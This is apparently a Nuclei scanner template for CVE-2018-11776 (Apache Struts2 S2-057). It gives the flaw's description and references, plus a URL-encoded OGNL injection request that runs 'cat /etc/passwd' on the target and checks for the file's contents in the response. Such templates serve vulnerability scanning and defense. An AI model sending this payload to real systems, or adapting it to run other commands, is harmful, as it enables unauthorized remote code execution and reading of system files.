nuclei-templates/cves/2018/CVE-2018-11776.yaml

38 lines
1.7 KiB
YAML

id: CVE-2018-11776
info:
name: Apache Struts2 S2-057 - Remote Code Execution
author: pikpikcu
severity: high
description: |
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.
reference:
- https://github.com/jas502n/St2-057
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://security.netapp.com/advisory/ntap-20180822-0001/
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-20
tags: cve,cve2018,apache,rce,struts,cisa
requests:
- method: GET
path:
- "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# Enhanced by mp on 2022/06/19